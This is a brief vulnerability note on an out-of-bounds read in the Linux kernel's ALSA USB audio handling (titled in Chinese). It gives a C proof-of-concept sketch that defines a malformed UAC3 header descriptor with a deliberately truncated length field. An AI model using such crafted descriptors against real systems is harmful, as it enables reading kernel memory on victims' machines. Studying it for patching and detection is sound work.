CVE-2026-23318 Linux内核ALSA越界读取漏洞

/* * PoC Concept: Malicious UAC3 Header Descriptor * This structure simulates a truncated UAC3 header descriptor * that would trigger the out-of-bounds read due to validation bypass. */ #include <stdint.h> struct uac3_ac_header_descriptor { uint8_t bLength; // Intentionally set to a smaller value uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint16_t bcdADC; uint8_t bCategory; uint16_t wTotalLength; uint32_t bmControls; // Accessing this may go OOB if bLength is small } __attribute__((packed)); // Example of how a malicious device might define the descriptor struct uac3_ac_header_descriptor malicious_desc = { .bLength = 0x08, // Truncated length, actual size should be larger to cover fields .bDescriptorType = 0x24, .bDescriptorSubtype = 0x01, .bcdADC = 0x0300, // UAC3.00 .bCategory = 0x00, .wTotalLength = 0x0010, .bmControls = 0x00000000 }; /* * Note: Triggering this vulnerability requires a physical USB device * emulating this descriptor structure or a modified kernel module. */